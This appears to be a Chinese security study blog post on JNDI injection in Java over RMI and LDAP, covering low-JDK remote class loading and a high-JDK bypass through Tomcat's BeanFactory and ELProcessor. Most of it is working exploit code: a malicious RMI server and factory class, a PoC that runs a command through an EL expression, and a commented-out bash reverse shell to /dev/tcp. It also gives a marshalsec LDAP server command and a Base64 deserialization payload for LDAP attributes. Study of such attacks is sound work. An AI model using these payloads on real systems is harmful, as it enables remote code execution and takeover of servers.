java漫漫学习之路(八)

JNDI Attack

在这里插入图片描述

JNDI References 注入

为什么需要Reference

  • 为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况,此时就需要Reference了。

Reference作用:

  • JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样需要被绑定的java对象就可以通过绑定一个引用(Reference),间接地存储在命名或目录服务中。Reference 包含足够的信息来查找或重新创建这个java对象。因此这个引用可以被命名管理器(Naming Manager)解码并解析为原始java对象。

Reference组成:

  • 引用由Reference类来表示,它由地址(RefAddress)的有序列表所引用对象的信息组成。每个地址包含了如何构造出对应的java对象的信息,包括引用对象的**Java类名**,以及用于创建java对象的ObjectFactory类的名称和位置

Reference工作机制:

  • 使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。

JNDI注入是什么:

  • 所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用。

如何进行JNDI注入:

  • JNDI 服务中,利用 Reference 类,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行。Reference 类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化(也就是远程方法调用的对象是另一个服务器上的恶意对象的引用)。

Reference类常用属性:

className 远程加载时所使用的类名
factory 用于创建被引用对象实例的工厂类名
factoryLocation 工厂类的地址 可以是 file/ftp/http 等协议

例:

// 服务端
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );           
registry.bind("Exploit", new ReferenceWrapper(reference));
// 客户端
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

客户端通过 lookup 函数请求上面 bind 设置的 Exploit,在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 对象,到URL http://evilHost/Exploit.class 获取构造被引用对象实例,构造方法中的恶意代码就会被执行

JNDI-RMI

JNDI在使用RMI时,服务端可以构造恶意Reference,让客户端进行请求,请求时客户端就会被攻击。

低版本

低版本JDKJDK<6u132,7u122,8u113):

  • 服务端

    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.Reference;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class ServerExp {
    
        public static void main(String args[]) {
    
            try {
                Registry registry = LocateRegistry.createRegistry(1099);
    
                String factoryUrl = "http://localhost:1098/"; // url端口后面一定要有斜线 /
                Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
                ReferenceWrapper wrapper = new ReferenceWrapper(reference);
                registry.bind("Foo", wrapper);
    
                System.err.println("Server ready, factoryUrl:" + factoryUrl);
            } catch (Exception e) {
                System.err.println("Server exception: " + e.toString());
                e.printStackTrace();
            }
        }
    }
    
  • 客户端

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import javax.naming.directory.*;
    import java.util.Hashtable;
    
    public class JNDILookup {
        public static void main(String[] args) {
            try {
                Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo");
                System.out.println("ret: " + ret);
            } catch (NamingException e) {
                e.printStackTrace();
            }
        }
    }
    
  • 恶意类

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.util.Hashtable;
    
    public class EvilClass implements ObjectFactory {
        static void log(String key) {
            try {
                System.out.println("EvilClass: " + key);
            } catch (Exception e) {
                // do nothing
            }
        }
        {
            EvilClass.log("IIB block");
        }
        static {
            EvilClass.log("static block");
        }
        public EvilClass() {
            EvilClass.log("constructor");
        }
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
            EvilClass.log("getObjectInstance");
            return null;
        }
    }
    
  • 输出:

    // static在类加载的时候执行
    // 代码块和无参构造方法在clas.newInstance()时执行
    // 因此恶意代码不仅可以写在静态代码块,写在构造器也可以
    EvilClass:static block
    EvilClass:IIB block
    EvilClass:constructor
    EvilClass:getObjectInstance
    ret: null
    

高版本

高版本(JDK>=6u132,7u122,8u113):JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,禁止RMICORBA协议使用远程codebase,也就无法加载远程 RMI 代码。运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

如果客户端请求查找的对象是远程引用Reference,就需要先解引用(RegistryContext#decodeObject)然后再调用NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法来创建引用对象。

RegistryContext#decodeObject中,会对 trustURLCodebase进行判断,默认为false,在 ref != null && ref.getFactoryClassLocation() != null的情况下,就会抛出异常:

在这里插入图片描述

为了跳出if语句,需要三个判断条件中至少有一个不满足:

  • ref 为空,从语义上看需要 obj 不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间。
  • ref.getFactoryClassLocation() 返回空。即,让 ref 对象factoryLocation为空,这个属性表示引用所指向对象的对应 factory 类的地址,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),如果对应的 factory 是本地类,则该值为空,这是绕过高版本 JDK 限制的关键。
  • trustURLCodebasetrue,需要在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。

可以进一步工作的只有方法二,要满足方法二情况,需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase;在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。因此需要在攻击者本地CLASSPATH找到一个Factory,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。

Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory(已经在用外部资源包了),在很多应用中都被包含,关键代码:

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");	// a=foo
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');	// 1
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();	// foo
            param = param.substring(0, index).trim();	// a
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

在返回给客户端的 Reference 对象的 forceString 字段中指定 了setter 方法的别名。例如forceStringa=foo,则会有foo方法,参数为a,参数值为对应属性对象 RefAddr 的值 (getContent)。

BeanFactory#getObjectInstance中使用 beanClass.getConstructor().newInstance();来实例化对象,只能调用目标class的无参构造函数来实例化对象,使用的是javax.el.ELProcessor#eval( 可以执行EL表达式)和groovy.lang.GroovyShell#evaluate作为目标class

poc

public class bypass {
    public static void main(String args[]) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval")); // 相当于设置了一个eval函数,参数为x
            // ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
           ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")")); // x处注入恶意代码

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);
            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

org.apache.naming.ResourceReftomcat 中表示某个资源的引用。

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+SpringBoot 1.2.x+

工具:

  • https://github.com/mbechler/marshalsec
  • https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意 RMI Server

JNDI-LDAP

LDAP目录服务也是基于客户端-服务器模型,客户端也可以使用lookup方法向服务端发起查询,服务端向客户端发送数据,客户端进行反序列化。

低版本

低版本JDK

LDAP服务端也能返回JNDI Reference对象,利用过程与JNDI + RMI Reference基本一致。不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意JNDI Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。

LDAP服务启动:使用marshalsec开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc

LDAP查询请求重定向到http://127.0.0.1:8000/#calccalc为恶意代码编译得到的class文件

客户端:

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {\
        // aaa是随便写的用于DN查找的字符
        String url = "ldap://127.0.0.1:8099/aaa";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

查询过程:

javax.naming.InitialContext#lookupcom.sun.indi.url.Idap.IdapURLContext#lookupcom.sun.jndi.toolkit.url.GenericURLContext#lookupcom.sun.jndi.toolkit.ctx.PartialCompositeContext#lookupcom.sun.jndi.toolkit.ctx.ComponentContext#p_lookupcom.sun.jndi.ldap.LdapCtx#c_lookupcom.sun.jndi.ldap.Obj#decodeObject

LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。对象为Reference对象时,内部调用了decodeReference方法,decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用。

接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法。c_lookup方法将reference对象传给了getObjectInstance方法的refInfo参数,getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类名字,接着调用getObjectFactoryFromReference方法根据工厂类名字获取远程调用对象。

LDAP服务跟JNDI一样,会尝试先在本地查找加载类,如果本地没有找到类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类。LDAP服务的整个利用流程都没有URLCodebase限制。

高版本

jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebasefalse就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。

可以利用JNDI-RMI绕过高版本的方法尝试绕过,也就是在本地查找可以利用的工厂类与目标类进行攻击。JNDI | Java (gitbook.io)

上面说到 com.sun.jndi.ldap.Obj#decodeObject主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。

如果为序列化对象,会调用deserializeObject方法,里面进行了readObject操作,这里就是反序列化的触发点之一。

poc

CC5JNDI | Java (gitbook.io)

自定义payloadJNDI注入分析 (qq.com)

com.sun.jndi.ldap.Obj.java#decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着我们通过满足RefAddress的方式,也可以达到上面第一种的效果。

需满足以下条件:1.第一个字符为分隔符 2.第一个分隔符与第二个分隔符之间,表示Referenceposition,为int类型 3.第二个分隔符与第三个分隔符之间,表示type,类型 4.第三个分隔符是双分隔符的形式,则进入反序列化的操作 5.序列化数据用base64编码 payload如下:

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

参考:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值